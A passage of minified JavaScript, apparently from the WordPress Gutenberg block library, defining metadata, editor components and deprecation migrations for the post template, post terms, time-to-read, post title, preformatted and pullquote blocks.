Template",category:"theme",ancestor:["core/query"],description:"Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",textdomain:"default",usesContext:["queryId","query","displayLayout","templateSlug","previewPostType","enhancedPagination","postType"],supports:{anchor:!0,reusable:!1,html:!1,align:["wide","full"],layout:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{margin:!0,padding:!0,blockGap:{__experimentalDefault:"1.25em"},__experimentalDefaultControls:{blockGap:!0,padding:!1,margin:!1}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},style:"wp-block-post-template",editorStyle:"wp-block-post-template-editor"};var lg=o(j(),1),Sre=o(z(),1),ib=o(I(),1),al=o(T(),1),eC=o(A(),1),Tre=o(Y(),1);var La=o(v(),1),_5e=[["core/post-title"],["core/post-date",{metadata:{bindings:{datetime:{source:"core/post-data",args:{field:"date"}}}}}],["core/post-excerpt"]];function k5e({classList:e}){let t=(0,al.useInnerBlocksProps)({className:w("wp-block-post",e)},{template:_5e,__unstableDisableLayoutClassNames:!0});return(0,La.jsx)("li",{...t})}function w5e({blocks:e,blockContextId:t,classList:r,isHidden:a,setActiveBlockContextId:n}){let i=(0,al.__experimentalUseBlockPreview)({blocks:e,props:{className:w("wp-block-post",r)}}),l=()=>{n(t)};return(0,La.jsx)("li",{...i,tabIndex:0,role:"button",onClick:l,onKeyPress:l,style:{display:a?"none":void 0}})}var C5e=(0,lg.memo)(w5e);function Pre({setAttributes:e,clientId:t,context:{query:{perPage:r,offset:a=0,postType:n,order:i,orderBy:l,author:s,search:c,exclude:u,sticky:m,inherit:p,taxQuery:d,parents:f,pages:h,format:g,...b}={},templateSlug:y,previewPostType:_},attributes:{layout:x},__unstableLayoutClassNames:k}){let{type:S,columnCount:C=3}=x||{},[E,B]=(0,lg.useState)(),{posts:D,blocks:M}=(0,Sre.useSelect)(H=>{let{getEntityRecords:$,getTaxonomies:V}=H(Tre.store),{getBlocks:G}=H(al.store),K=p&&y?.startsWith("category-")&&$("taxonomy","category",{context:"view",per_page:1,_fields:["id"],slug:y.replace("category-","")}),X=p&&y?.startsWith("tag-")&&$("taxonomy","post_tag",{context:"view",per_page:1,_fields:["id"],slug:y.replace("tag-","")}),ee={offset:a||0,order:i,orderby:l};if(d&&!p){let oe=V({type:n,per_page:-1,context:"view"}),ie=(de,Ve="")=>Object.entries(de||{}).reduce((Ne,[ae,Be])=>{let Ae=oe?.find(({slug:re})=>re===ae);return Ae?.rest_base&&Be?.length&&(Ne[Ae.rest_base+Ve]=Be),Ne},{}),le=ie(d.include);d.exclude&&Object.assign(le,ie(d.exclude,"_exclude")),Object.keys(le).length&&Object.assign(ee,le)}r&&(ee.per_page=r),s&&(ee.author=s),c&&(ee.search=c),u?.length&&(ee.exclude=u),f?.length&&(ee.parent=f),g?.length&&(ee.format=g),["exclude","only"].includes(m)&&(ee.sticky=m==="only"),["","ignore"].includes(m)&&(delete ee.sticky,ee.ignore_sticky=m==="ignore");let ne=n;return p&&(y?.startsWith("archive-")?(ee.postType=y.replace("archive-",""),ne=ee.postType):K?ee.categories=K[0]?.id:X?ee.tags=X[0]?.id:y?.startsWith("taxonomy-post_format")&&(ee.format=y.replace("taxonomy-post_format-post-format-",""))),{posts:$("postType",_||ne,{...ee,...b}),blocks:G(t)}},[r,a,i,l,t,s,c,n,u,m,p,y,d,f,g,b,_]),O=(0,lg.useMemo)(()=>D?.map(H=>({postType:H.type,postId:H.id,classList:H.class_list??""})),[D]),R=(0,al.useBlockProps)({className:w(k,{[`columns-${C}`]:S==="grid"&&C})});if(!D)return(0,La.jsx)("p",{...R,children:(0,La.jsx)(eC.Spinner,{})});if(!D.length)return(0,La.jsxs)("p",{...R,children:[" ",(0,ib.__)("No results found.")]});let F=H=>e({layout:{...x,...H}}),P=[{icon:wl,title:(0,ib._x)("List view","Post template block display setting"),onClick:()=>F({type:"default"}),isActive:S==="default"||S==="constrained"},{icon:kl,title:(0,ib._x)("Grid view","Post template block display setting"),onClick:()=>F({type:"grid",columnCount:C}),isActive:S==="grid"}];return(0,La.jsxs)(La.Fragment,{children:[(0,La.jsx)(al.BlockControls,{children:(0,La.jsx)(eC.ToolbarGroup,{controls:P})}),(0,La.jsx)("ul",{...R,children:O&&O.map(H=>(0,La.jsxs)(al.BlockContextProvider,{value:H,children:[H.postId===(E||O[0]?.postId)?(0,La.jsx)(k5e,{classList:H.classList}):null,(0,La.jsx)(C5e,{blocks:M,blockContextId:H.postId,classList:H.classList,setActiveBlockContextId:B,isHidden:H.postId===(E||O[0]?.postId)})]},H.postId))})]})}var Bre=o(T(),1),Ire=o(v(),1);function Ere(){return(0,Ire.jsx)(Bre.InnerBlocks.Content,{})}var{name:Nre}=Jw,Dre={icon:fp,edit:Pre,save:Ere},S5e=()=>N({name:Nre,metadata:Jw,settings:Dre});var kL={};q(kL,{init:()=>E5e,metadata:()=>tC,name:()=>Gre,settings:()=>Wre});var Ure=o(Vc(),1);var tC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-terms",title:"Post Terms",category:"theme",description:"Post terms.",textdomain:"default",attributes:{term:{type:"string"},separator:{type:"string",default:", "},prefix:{type:"string",default:"",role:"content"},suffix:{type:"string",default:"",role:"content"}},usesContext:["postId","postType"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-terms"};var nu=o(T(),1),rC=o(U(),1),oC=o(A(),1),zre=o(z(),1),Vre=o(Ho(),1),Mm=o(I(),1),Fre=o(Y(),1);var Lre=o(Y(),1),Mre=o(z(),1),P5e=[];function Are({postId:e,term:t}){let{slug:r}=t;return(0,Mre.useSelect)(a=>{if(!t?.visibility?.publicly_queryable||!e)return{postTerms:P5e,isLoading:!1,hasPostTerms:!1};let{getEntityRecords:i,isResolving:l}=a(Lre.store),s=["taxonomy",r,{post:e,per_page:-1,context:"view"}],c=i(...s);return{postTerms:c,isLoading:l("getEntityRecords",s),hasPostTerms:!!c?.length}},[e,t?.visibility?.publicly_queryable,r])}var Ma=o(v(),1),Rre=["core/bold","core/image","core/italic","core/link","core/strikethrough","core/text-color"];function Ore({attributes:e,clientId:t,context:r,isSelected:a,setAttributes:n,insertBlocksAfter:i}){let{term:l,separator:s,prefix:c,suffix:u}=e,{postId:m,postType:p}=r,d=(0,zre.useSelect)(x=>{if(!l)return{};let{getTaxonomy:k}=x(Fre.store),S=k(l);return S?.visibility?.publicly_queryable?S:{}},[l]),{postTerms:f,hasPostTerms:h,isLoading:g}=Are({postId:m,term:d}),b=m&&p,y=(0,nu.useBlockDisplayInformation)(t),_=(0,nu.useBlockProps)({className:l&&`taxonomy-${l}`});return(0,Ma.jsxs)(Ma.Fragment,{children:[(0,Ma.jsx)(nu.InspectorControls,{group:"advanced",children:(0,Ma.jsx)(oC.TextControl,{__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Mm.__)("Separator"),value:s||"",onChange:x=>{n({separator:x})},help:(0,Mm.__)("Enter character(s) used to separate terms.")})}),(0,Ma.jsxs)("div",{..._,children:[g&&b&&(0,Ma.jsx)(oC.Spinner,{}),!g&&(a||c)&&(0,Ma.jsx)(nu.RichText,{identifier:"prefix",allowedFormats:Rre,className:"wp-block-post-terms__prefix","aria-label":(0,Mm.__)("Prefix"),placeholder:(0,Mm.__)("Prefix")+" ",value:c,onChange:x=>n({prefix:x}),tagName:"span"}),(!b||!l)&&(0,Ma.jsx)("span",{children:y.title}),b&&!g&&h&&f.map(x=>(0,Ma.jsx)("a",{href:x.link,onClick:k=>k.preventDefault(),rel:"tag",children:(0,Vre.decodeEntities)(x.name)},x.id)).reduce((x,k)=>(0,Ma.jsxs)(Ma.Fragment,{children:[x,(0,Ma.jsx)("span",{className:"wp-block-post-terms__separator",children:s||" "}),k]})),b&&!g&&!h&&(d?.labels?.no_terms||(0,Mm.__)("Term items not found.")),!g&&(a||u)&&(0,Ma.jsx)(nu.RichText,{identifier:"suffix",allowedFormats:Rre,className:"wp-block-post-terms__suffix","aria-label":(0,Mm.__)("Suffix"),placeholder:" "+(0,Mm.__)("Suffix"),value:u,onChange:x=>n({suffix:x}),tagName:"span",__unstableOnSplitAtEnd:()=>i((0,rC.createBlock)((0,rC.getDefaultBlockName)()))})]})]})}var B5e={category:kf,post_tag:vP};function Hre(e,t){if(t!=="core/post-terms")return e;let r=e.variations.map(a=>({...a,icon:B5e[a.name]??kf}));return{...e,variations:r}}var I5e={attributes:{textAlign:{type:"string"},term:{type:"string"},separator:{type:"string",default:", "},prefix:{type:"string",default:"",role:"content"},suffix:{type:"string",default:"",role:"content"}},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},jre=[I5e];var{name:Gre}=tC,Wre={icon:kf,edit:Ore,deprecated:jre},E5e=()=>((0,Ure.addFilter)("blocks.registerBlockType","core/template-part",Hre),N({name:Gre,metadata:tC,settings:Wre}));var wL={};q(wL,{init:()=>A5e,metadata:()=>aC,name:()=>eoe,settings:()=>toe});var aC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-time-to-read",title:"Time to Read",category:"theme",description:"Show minutes required to finish reading the post. Can also show a word count.",textdomain:"default",usesContext:["postId","postType"],attributes:{displayAsRange:{type:"boolean",default:!0},displayMode:{type:"string",default:"time"},averageReadingSpeed:{type:"number",default:189}},supports:{anchor:!0,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},html:!1,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}}};var Aa=o(I(),1),Zre=o(j(),1),nC=o(T(),1),sg=o(A(),1),Kre=o(U(),1),iC=o(Y(),1),Qre=o(qre(),1);var rc=o(v(),1);function D5e({attributes:e,setAttributes:t,context:r}){let{displayAsRange:a,displayMode:n,averageReadingSpeed:i}=e,{postId:l,postType:s}=r,c=W(),[u]=(0,iC.useEntityProp)("postType",s,"content",l),[m]=(0,iC.useEntityBlockEditor)("postType",s,{id:l}),p=(0,Zre.useMemo)(()=>{let f;u instanceof Function?f=u({blocks:m}):m?f=(0,Kre.__unstableSerializeAndClean)(m):f=u;let h=(0,Aa._x)("words","Word count type. Do not translate!"),g=(0,Qre.count)(f||"",h);if(n==="time"){if(a){let y=Math.max(1,Math.round(g/i*1.2)),_=Math.max(1,Math.round(g/i*.8));_===y&&(y=y+1);let x=(0,Aa._x)("%1$s\u2013%2$s minutes","Range of minutes to read");return(0,Aa.sprintf)(x,_,y)}let b=Math.max(1,Math.round(g/i));return(0,Aa.sprintf)((0,Aa._n)("%s minute","%s minutes",b),b)}if(n==="words")return h==="words"?(0,Aa.sprintf)((0,Aa._n)("%s word","%s words",g),g.toLocaleString()):(0,Aa.sprintf)((0,Aa._n)("%s character","%s characters",g),g.toLocaleString())},[u,m,a,n,i]),d=(0,nC.useBlockProps)();return(0,rc.jsxs)(rc.Fragment,{children:[n==="time"&&(0,rc.jsx)(nC.InspectorControls,{children:(0,rc.jsx)(sg.__experimentalToolsPanel,{label:(0,Aa.__)("Settings"),resetAll:()=>{t({displayAsRange:!0})},dropdownMenuProps:c,children:(0,rc.jsx)(sg.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,Aa._x)("Display as range","Turns reading time range display on or off"),hasValue:()=>!a,onDeselect:()=>{t({displayAsRange:!0})},children:(0,rc.jsx)(sg.ToggleControl,{label:(0,Aa.__)("Display as range"),checked:!!a,onChange:()=>t({displayAsRange:!a})})})})}),(0,rc.jsx)("div",{...d,children:p})]})}var Yre=D5e;var lb=o(I(),1);var L5e=[{name:"time-to-read",title:(0,lb.__)("Time to Read"),description:(0,lb.__)("Show minutes required to finish reading the post."),attributes:{displayMode:"time"},scope:["inserter","transform"],isActive:e=>e?.displayMode==="time",icon:g1,isDefault:!0},{name:"word-count",title:(0,lb.__)("Word Count"),description:(0,lb.__)("Show the number of words in the post."),attributes:{displayMode:"words"},scope:["inserter","transform"],isActive:e=>e?.displayMode==="words",icon:VB}],Xre=L5e;var M5e={attributes:{textAlign:{type:"string"},displayAsRange:{type:"boolean",default:!0},displayMode:{type:"string",default:"time"},averageReadingSpeed:{type:"number",default:189}},supports:{anchor:!0,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},Jre=[M5e];var{name:eoe}=aC,toe={icon:g1,edit:Yre,variations:Xre,example:{},deprecated:Jre},A5e=()=>N({name:eoe,metadata:aC,settings:toe});var CL={};q(CL,{init:()=>F5e,metadata:()=>lC,name:()=>ioe,settings:()=>loe});var lC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-title",title:"Title",category:"theme",description:"Displays the title of a post, page, or any other content-type.",textdomain:"default",usesContext:["postId","postType","queryId"],attributes:{level:{type:"number",default:2},levelOptions:{type:"array"},isLink:{type:"boolean",default:!1,role:"content"},rel:{type:"string",attribute:"rel",default:"",role:"content"},linkTarget:{type:"string",default:"_self",role:"content"},placeholder:{type:"string"}},example:{viewportWidth:350},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-post-title"};var Bi=o(T(),1),Pi=o(A(),1),Vn=o(I(),1),sC=o(U(),1),sb=o(Y(),1),roe=o(z(),1),ooe=o(j(),1);var Zt=o(v(),1);function aoe({attributes:{level:e,levelOptions:t,isLink:r,rel:a,linkTarget:n,placeholder:i},setAttributes:l,context:{postType:s,postId:c,queryId:u},insertBlocksAfter:m}){let p=e===0?"p":`h${e}`,d=Number.isFinite(u),f=(0,roe.useSelect)(E=>d?!1:E(sb.store).canUser("update",{kind:"postType",name:s,id:c}),[d,s,c]),[h="",g,b]=(0,sb.useEntityProp)("postType",s,"title",c),[y]=(0,sb.useEntityProp)("postType",s,"link",c),_=()=>{m((0,sC.createBlock)((0,sC.getDefaultBlockName)()))},x=(0,Bi.useBlockProps)(),k=(0,Bi.useBlockEditingMode)(),S=W(),C=(0,Zt.jsx)(p,{...x,children:i||(0,Vn.__)("Title")});return s&&c&&(C=f?(0,Zt.jsx)(Bi.PlainText,{tagName:p,placeholder:(0,Vn.__)("(no title)"),value:h,onChange:g,__experimentalVersion:2,__unstableOnSplitAtEnd:_,...x}):(0,Zt.jsx)(p,{...x,dangerouslySetInnerHTML:{__html:b?.rendered||(0,Vn.__)("(no title)")}})),r&&s&&c&&(C=f?(0,Zt.jsx)(p,{...x,children:(0,Zt.jsx)(Bi.PlainText,{tagName:"a",href:y,target:n,rel:a,placeholder:h.length?null:(0,Vn.__)("(no title)"),value:h,onChange:g,__experimentalVersion:2,__unstableOnSplitAtEnd:_})}):(0,Zt.jsx)(p,{...x,children:(0,Zt.jsx)("a",{href:y,target:n,rel:a,onClick:E=>E.preventDefault(),dangerouslySetInnerHTML:{__html:b?.rendered||(0,Vn.__)("(no title)")}})})),(0,Zt.jsxs)(Zt.Fragment,{children:[k==="default"&&(0,Zt.jsxs)(Zt.Fragment,{children:[(0,Zt.jsx)(Bi.BlockControls,{group:"block",children:(0,Zt.jsx)(Bi.HeadingLevelDropdown,{value:e,options:t,onChange:E=>l({level:E})})}),(0,Zt.jsx)(Bi.InspectorControls,{children:(0,Zt.jsxs)(Pi.__experimentalToolsPanel,{label:(0,Vn.__)("Settings"),resetAll:()=>{l({rel:"",linkTarget:"_self",isLink:!1})},dropdownMenuProps:S,children:[(0,Zt.jsx)(Pi.__experimentalToolsPanelItem,{label:(0,Vn.__)("Make title a link"),isShownByDefault:!0,hasValue:()=>r,onDeselect:()=>l({isLink:!1}),children:(0,Zt.jsx)(Pi.ToggleControl,{label:(0,Vn.__)("Make title a link"),onChange:()=>l({isLink:!r}),checked:r})}),r&&(0,Zt.jsxs)(Zt.Fragment,{children:[(0,Zt.jsx)(Pi.__experimentalToolsPanelItem,{label:(0,Vn.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>n==="_blank",onDeselect:()=>l({linkTarget:"_self"}),children:(0,Zt.jsx)(Pi.ToggleControl,{label:(0,Vn.__)("Open in new tab"),onChange:E=>l({linkTarget:E?"_blank":"_self"}),checked:n==="_blank"})}),(0,Zt.jsx)(Pi.__experimentalToolsPanelItem,{label:(0,Vn.__)("Link relation"),isShownByDefault:!0,hasValue:()=>!!a,onDeselect:()=>l({rel:""}),children:(0,Zt.jsx)(Pi.TextControl,{__next40pxDefaultSize:!0,label:(0,Vn.__)("Link relation"),help:(0,ooe.createInterpolateElement)((0,Vn.__)("The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."),{a:(0,Zt.jsx)(Pi.ExternalLink,{href:"https://developer.mozilla.org/docs/Web/HTML/Attributes/rel"})}),value:a,onChange:E=>l({rel:E})})})]})]})})]}),C]})}var z5e={attributes:{textAlign:{type:"string"},level:{type:"number",default:2},levelOptions:{type:"array"},isLink:{type:"boolean",default:!1},rel:{type:"string",attribute:"rel",default:""},linkTarget:{type:"string",default:"_self"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},V5e={attributes:{textAlign:{type:"string"},level:{type:"number",default:2},isLink:{type:"boolean",default:!1},rel:{type:"string",attribute:"rel",default:""},linkTarget:{type:"string",default:"_self"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},spacing:{margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},noe=[z5e,V5e];var{name:ioe}=lC,loe={icon:Cl,edit:aoe,deprecated:noe},F5e=()=>N({name:ioe,metadata:lC,settings:loe});var BL={};q(BL,{init:()=>G5e,metadata:()=>mC,name:()=>doe,settings:()=>dC});var PL=o(I(),1);var poe=o(U(),1);var SL=o(I(),1),cC=o(T(),1),uC=o(U(),1),soe=o(v(),1);function coe({attributes:e,mergeBlocks:t,setAttributes:r,onRemove:a,insertBlocksAfter:n,style:i}){let{content:l}=e,s=(0,cC.useBlockProps)({style:i});return(0,soe.jsx)(cC.RichText,{tagName:"pre",identifier:"content",preserveWhiteSpace:!0,value:l,onChange:c=>{r({content:c})},onRemove:a,"aria-label":(0,SL.__)("Preformatted text"),placeholder:(0,SL.__)("Write preformatted text\u2026"),onMerge:t,...s,__unstablePastePlainText:!0,__unstableOnSplitAtDoubleLineEnd:()=>n((0,uC.createBlock)((0,uC.getDefaultBlockName)()))})}var mC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/preformatted",title:"Preformatted",category:"text",description:"Add text that respects your spacing and tabs, and also allows styling.",textdomain:"default",attributes:{content:{type:"rich-text",source:"rich-text",selector:"pre",__unstablePreserveWhiteSpace:!0,role:"content"}},supports:{anchor:!0,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-preformatted"};var pC=o(T(),1),TL=o(v(),1);function uoe({attributes:e}){let{content:t}=e;return(0,TL.jsx)("pre",{...pC.useBlockProps.save(),children:(0,TL.jsx)(pC.RichText.Content,{value:t})})}var cb=o(U(),1),H5e={from:[{type:"block",blocks:["core/code","core/paragraph","core/verse"],transform:({content:e,anchor:t})=>(0,cb.createBlock)("core/preformatted",{content:e,anchor:t})},{type:"raw",isMatch:e=>e.nodeName==="PRE"&&!(e.children.length===1&&e.firstChild.nodeName==="CODE"),schema:({phrasingContentSchema:e})=>({pre:{children:e}})}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,cb.createBlock)("core/paragraph",e)},{type:"block",blocks:["core/code"],transform:e=>(0,cb.createBlock)("core/code",e)},{type:"block",blocks:["core/verse"],transform:e=>(0,cb.createBlock)("core/verse",e)}]},moe=H5e;var{fieldsKey:j5e,formKey:U5e}=Z(poe.privateApis),{name:doe}=mC,dC={icon:yP,example:{attributes:{content:(0,PL.__)(`EXT. XANADU - FAINT DAWN - 1940 (MINIATURE)
Window, very small in the distance, illuminated.
All around this is an almost totally black screen. Now, as the camera moves slowly towards the window which is almost a postage stamp in the frame, other forms appear;`)}},transforms:moe,edit:coe,save:uoe,merge(e,t){return{content:e.content+`

`+t.content}}};window.__experimentalContentOnlyInspectorFields&&(dC[j5e]=[{id:"content",label:(0,PL.__)("Content"),type:"text",Edit:"rich-text"}],dC[U5e]={fields:["content"]});var G5e=()=>N({name:doe,metadata:mC,settings:dC});var IL={};q(IL,{init:()=>o4e,metadata:()=>hC,name:()=>Coe,settings:()=>gC});var pb=o(I(),1);var woe=o(U(),1);var gt=o(T(),1),hoe=o(z(),1);var Id="is-style-solid-color";var fr=o(v(),1),ub={value:{type:"string",source:"html",selector:"blockquote",multiline:"p"},citation:{type:"string",source:"html",selector:"cite",default:""},mainColor:{type:"string"},customMainColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}};function foe(e){if(!e)return;let t=e.match(/border-color:([^;]+)[;]?/);if(t&&t[1])return t[1]}function Ed(e){e=e||"<p></p>";let r=`</p>${e}<p>`.split("</p><p>");return r.shift(),r.pop(),r.join("<br>")}var W5e={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",role:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,align:["left","right","wide","full"],color:{gradients:!0,background:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},__experimentalStyle:{typography:{fontSize:"1.5em",lineHeight:"1.6"}}},save({attributes:e}){let{textAlign:t,citation:r,value:a}=e,n=!gt.RichText.isEmpty(r);return(0,fr.jsx)("figure",{...gt.useBlockProps.save({className:w({[`has-text-align-${t}`]:t})}),children:(0,fr.jsxs)("blockquote",{children:[(0,fr.jsx)(gt.RichText.Content,{value:a,multiline:!0}),n&&(0,fr.jsx)(gt.RichText.Content,{tagName:"cite",value:r})]})})},migrate({value:e,...t}){return{value:Ed(e),...t}}},$5e={attributes:{...ub},supports:{anchor:!0,align:["left","right","wide","full"],color:{gradients:!0,background:!0,link:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0}},save({attributes:e}){let{mainColor:t,customMainColor:r,customTextColor:a,textColor:n,value:i,citation:l,className:s}=e,c=s?.includes(Id),u,m;if(c){let h=(0,gt.getColorClassName)("background-color",t);u=w({"has-background":h||r,[h]:h}),m={backgroundColor:h?void 0:r}}else r&&(m={borderColor:r});let p=(0,gt.getColorClassName)("color",n),d=w({"has-text-color":n||a,[p]:p}),f=p?void 0:{color:a};return(0,fr.jsx)("figure",{...gt.useBlockProps.save({className:u,style:m}),children:(0,fr.jsxs)("blockquote",{className:d,style:f,children:[(0,fr.jsx)(gt.RichText.Content,{value:i,multiline:!0}),!gt.RichText.isEmpty(l)&&(0,fr.jsx)(gt.RichText.Content,{tagName:"cite",value:l})]})})},migrate({value:e,className:t,mainColor:r,customMainColor:a,customTextColor:n,...i}){let l=t?.includes(Id),s;return a&&(l?s={color:{background:a}}:s={border:{color:a}}),n&&s&&(s.color={...s.color,text:n}),{value:Ed(e),className:t,backgroundColor:l?r:void 0,borderColor:l?void 0:r,textAlign:l?"left":void 0,...i,style:s}}},q5e={attributes:{...ub,figureStyle:{source:"attribute",selector:"figure",attribute:"style"}},save({attributes:e}){let{mainColor:t,customMainColor:r,textColor:a,customTextColor:n,value:i,citation:l,className:s,figureStyle:c}=e,u=s?.includes(Id),m,p;if(u){let g=(0,gt.getColorClassName)("background-color",t);m=w({"has-background":g||r,[g]:g}),p={backgroundColor:g?void 0:r}}else r?p={borderColor:r}:t&&(p={borderColor:foe(c)});let d=(0,gt.getColorClassName)("color",a),f=(a||n)&&w("has-text-color",{[d]:d});return(0,fr.jsx)("figure",{className:m,style:p,children:(0,fr.jsxs)("blockquote",{className:f,style:d?void 0:{color:n},children:[(0,fr.jsx)(gt.RichText.Content,{value:i,multiline:!0}),!gt.RichText.isEmpty(l)&&(0,fr.jsx)(gt.RichText.Content,{tagName:"cite",value:l})]})})},migrate({value:e,className:t,figureStyle:r,mainColor:a,customMainColor:n,customTextColor:i,...l}){let s=t?.includes(Id),c;if(n&&(s?c={color:{background:n}}:c={border:{color:n}}),i&&c&&(c.color={...c.color,text:i}),!s&&a&&r){let u=foe(r);if(u)return{value:Ed(e),...l,className:t,style:{border:{color:u}}}}return{value:Ed(e),className:t,backgroundColor:s?a:void 0,borderColor:s?void 0:a,textAlign:s?"left":void 0,...l,style:c}}},Z5e={attributes:ub,save({attributes:e}){let{mainColor:t,customMainColor:r,textColor:a,customTextColor:n,value:i,citation:l,className:s}=e,c=s?.includes(Id),u,m;if(c)u=(0,gt.getColorClassName)("background-color",t),u||(m={backgroundColor:r});else if(r)m={borderColor:r};else if(t){let h=(0,hoe.select)(gt.store).getSettings().colors??[];m={borderColor:(0,gt.getColorObjectByAttributeValues)(h,t).color}}let p=(0,gt.getColorClassName)("color",a),d=a||n?w("has-text-color",{[p]:p}):void 0;return(0,fr.jsx)("figure",{className:u,style:m,children:(0,fr.jsxs)("blockquote",{className:d,style:p?void 0:{color:n},children:[(0,fr.jsx)(gt.RichText.Content,{value:i,multiline:!0}),!gt.RichText.isEmpty(l)&&(0,fr.jsx)(gt.RichText.Content,{tagName:"cite",value:l})]})})},migrate({value:e,className:t,mainColor:r,customMainColor:a,customTextColor:n,...i}){let l=t?.includes(Id),s={};return a&&(l?s={color:{background:a}}:s={border:{color:a}}),n&&s&&(s.color={...s.color,text:n}),{value:Ed(e),className:t,backgroundColor:l?r:void 0,borderColor:l?void 0:r,textAlign:l?"left":void 